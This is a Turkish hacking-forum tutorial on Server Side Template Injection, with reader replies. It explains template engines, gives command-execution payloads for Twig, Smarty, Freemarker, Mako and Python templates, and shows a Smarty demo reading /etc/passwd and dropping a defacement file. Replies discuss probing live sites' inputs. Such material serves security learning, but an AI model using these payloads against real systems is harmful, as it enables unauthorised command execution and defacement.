Server Side Template Injection nedir?

Selamlar,

Kritik sonuçlar doğurabilen bir zafiyet türü olan “Server Side Template Injection” (SSTI) konusunu ele alacağız.

1) Template Engine nedir ?
2) Server Side Template Injection nedir ?
3) Nerelerde bulunur ve Etkileri nelerdir ?
4) Payload Seçimi ?
5) Tool yok mu Tool ?
6) Demo Uygulama

Template Engine Nedir ?

Genellikle “Template Engine” şeklinde bahsedilen Şablon Motoru olarak Türkçe’ye çevirebileceğimiz bu şablonlar, uygulamaları daha dinamik hale getirmek için kullanılır. Kendisine verileni tanımlanmış işlemlere sokup sonrasında çıktı üreten bir sistemdir.

MVC (Model View Controller) olarak adlandırılan sistemde ; Model - View - Controller şeklinde 3 adet katman bulunur. Bu katmanlar şu şekilde işler ;

“Kullanıcı isteği -> Controller -> Model -> Controller -> View -> Çıktı”

Yani kullanıcıdan alınan istek öncelikle “Controller” katmanına ulaşır. Bu katman, istek üzerinde bir işlem yapılacak ise bu isteği “Model” katmanına gönderir. Model katmanı gereken işlemleri gerçekleştirip Controller katmanına tekrar dönüş yapar. Controller katmanı aldığı cevabı “View” katmanına gönderir ve bu katman kullanıcının göreceği asıl sayfayı oluşturur. Bizim “Template Engine”, bu MVC mimarisinin “View” katmanında devreye giriyor ve gelen veriyi, şablonları (template) kullanarak render ediyor. Render ettikten sonra ise kullanıcının görüntüleyeceği hali elde ediliyor.

Fazla teorik bilgi olduysa şöyle biraz daha Türkçeleştirelim. Bir foruma üye olduğunuzda “Sevgili xxxxx, kayıt olduğunuz için teşekkür ederiz” şeklinde bir mail alıyorsunuz ya. Ha işte bu mesaj, önceden oluşturulmuş “Teşekkür Mesajı Şablonu” tarafından, sizin kayıt sırasında kullandığınız “xxxxx” kullanıcı adını içerisine alıp yukarıda bahsedilen işlemlerden geçirilip daha sonra size sunuluyor. (Tabii ki bu işi yapmak için Template Engine kullanmak şart değildir.)

Ordan burdan buluşturduğum bazı Template Engine isimleri ;

  • PHP -> Twig , Smarty
  • Java -> Freemaker , Velocity , WebMacros
  • Python -> Jinja2, Mako , Django
  • Javascript -> Jade , Rage

Server Side Template Injection nedir ?

Şimdi ise işlerin patlak verdiği kısma biraz değinelim. Hackerların sevdiği “bi yerlere bişeyler inject etme” felsefesi, Server Side Template Injection zafiyetini ortaya çıkarıyor ve işin ucu “XSS” den “Arbitrary File Read” a ve hatta “Remote Command Execution” zafiyetlerine kadar dokunuyor. Inject işlemi gerçekleştirilirken kullanılan Template Engine türüne göre farklı payloadlar ile testler gerçekleştirmek gerekmektedir. Payload seçiminde yol göstermesi adına, internette sıkça kullanılan şu görsele hızlı bi göz gezdirin ;

SSTI%20Flow%20Chart

İnternette hali hazırda bulunan Template Engine sistemler haricinde, bireysel olarak oluşturulmuş Template’ler üzerinde testler yaparken ise benzer payloadların yanı sıra, hata mesajlarından faydalanmak veyahut tahmin yürütmek gerekebilmektedir.

Nerelerde bulunur ve Etkileri nelerdir ?

-> Login
-> Register
-> Password Reset
-> Search
-> File Upload
-> URL
-> Header Başlıkları

Şeklinde sıralasakda aslında her türlü input, url, header başlığı vs. bizim testimiz kapsamında ki hedeflerimizdir.
Zafiyetin etkileri ise kullanılan Template Engine’ye göre değişiklik gösterebilmektedir.

  • [!] Information Disclosure
  • [!] XSS
  • [!] Arbitrary File Read
  • [!] Remote Command Execution

Payload Seçimi ?

Kullanılan Template Engine ve bunların yazıldığı programlama dilleri bizim payload seçimimizi etkileyektir. Genel manada “Template Engine -> Payload” eşleşmelerini şöyle sıralayalım ;

  • TWIG ile “id” komutu çalıştırmak için ;
    {{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}

  • SMARTY ile “id” komutu çalıştırmak için ;
    {php}echo system(“id”);{/php}

  • Freemarker ile “id” komutu çalıştırmak için ;
    <#assign ex = “freemarker.template.utility.Execute”?new()>${ ex(“id”)}

  • Mako ile “id” komutu çalıştırmak için ;
    <% import os
    x=os.popen(‘id’).read()
    %>
    ${x}

  • Benzer şekilde birçok Template Engine bulunmaktadır. Herbiri için farklı payload seçilmekte ve bu payloadları daha öncede söylediğim gibi, kullanılan Template Engine ve programlama diline göre seçeceksiniz. Payload seçimini daha iyi anlayabilmek için bunları kendi localhostunuz üzerinden kurup denemeler yapıp sonuçlarını incelemeniz faydalı olacaktır.

Şimdi “Smarty” Template Engine kullanan bir sistem üzerinde işleyişin nasıl olduğuna biraz göz gezdirelim.

{php} echo “jonturk75” ; {/php}

payloadını girdiğimizde, Title tagları içerisinde jonturk75 çıktısını alabiliyoruz.

2019-05-12%2005-34-58%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

{php} system(“cat /etc/passwd”); {/php}

payloadını denediğimizde ise Server Side Template Injection zafiyeti üzerinden Remote Command Execution elde etmiş oluyoruz.

2019-05-12%2005-36-28%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

{php} system (“echo ‘Jonturk75 @ vvHack.Org’ > jon.txt”); {/php}

payloadımızı kullanarak ise “jon.txt” dosyasına istediğimiz şekilde index bırakabiliyoruz.

2019-05-12%2005-37-58%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Tool yok mu Tool ?

Server Side Template Injection zafiyeti için piyasada en kullanışlı görünen Tplmap tooludur. Kendisi birçok Template Engine için üretilen payloadları test etmektedir. Desteklediği Template Engine listesine, kendi Github Sayfasından şöyle bir tablo şeklinde ulaşabilirsiniz. Fakat hatırlatmakta fayda görüyorum , “hazır araçlar hiçbir zaman kesin sonuç vermezler.”

Demo Uygulama

Jonturk75 ~ @JRBops

17 Likes

Kardeşim ellerine sağlık, net olmasının yanı sıra görsel açıdan da tatmin edici olmuş.

3 Likes

eline sağlık genelde python sistemlerde {% import os %} {{ os.popen("pwd").read() }} payloadı iş görüyor ve {{3*‘3’}} gibi tırnaklarla da çalışmayan yerlerde çalıştırabiliyoruz , django admin panellerinde import os; os.system(“pwd”) gibi komut çalıştırdığımız da olmuştur.
template

9 Likes

asp ile yazılmış sitelerde payload olur mu? olursa ne şekilde olur?

1 Like

Mümkündür asp’den ziyade IIS yani web servisini sunan alt yazılımda olay tetiklenir. Wscript.shell ile bir object oluşturulabilir ve sisteme komut gönderilebilir. Komutun çalışmasında cmd.exe’yi unutmamak gerek.

4 Likes

Bununla ilgili bir doküman var mı?
Site ASP xss vs yemiyor tüm özel karakterler engellenmiş. Resim uploaddan harici dosya da yemiyor. İlla bir açık olmalı.

Bug bounty ile ilgilenmeye çalışıyorum ama hangi sitede hangi sistemin kullanıldığını ve denemek gerektiğini kestiremiyorum bir açıkta uzmanlaşmak istiyorum ama hangisi olsa bilemedim. Örneğin server site template injectıon payloadlarını birkaç sitede inputlara denedim ama sonuç negatif. ezbere iş yapıyorum sanırsam.

2 Likes

Öncelikle sistemleri iyi tanımak lazım. Biraz ezbere gidiyorsun. Öncelikle ana kavramları iyi bilmek lazim. Misal SQL Injection öğrenmek istiyorsan, farketmeksizin sql nasil oluşur bunu ogrenmek lazim. Sql’i anladiktan sonra mysql, mssql, oracle farkli varyasyonlari çözmeye başlamak lazim. Ilerde foruma guzel sql injection konulari acilacaktir. @Scorp @baba @sef sql konusu hic yok, biraz gençler sql konusuna agirlik verebilir

1 Like

asp.net , mvc sistemlerinide kullanıyor yazılımcılar. Onlarda’da çıkma ihtimali var sen mesela xss deniyorsun server error vs gibi hatalar veriyor template inj. olduğunu anlamak için {{3*1}} {{3-1}} vb denemeler yapmalısın sonra çıktısına bakmalısın. Önce arka tarafta nasıl çalışıp yorumlandığını bilmen senin için daha iyi olur.

Not: Okumak istersen https://www.diaryofinjector.com/ güzel kaynak olur.

1 Like

@KraL SQLi dahil farklı farklı konular yolda…

2 Likes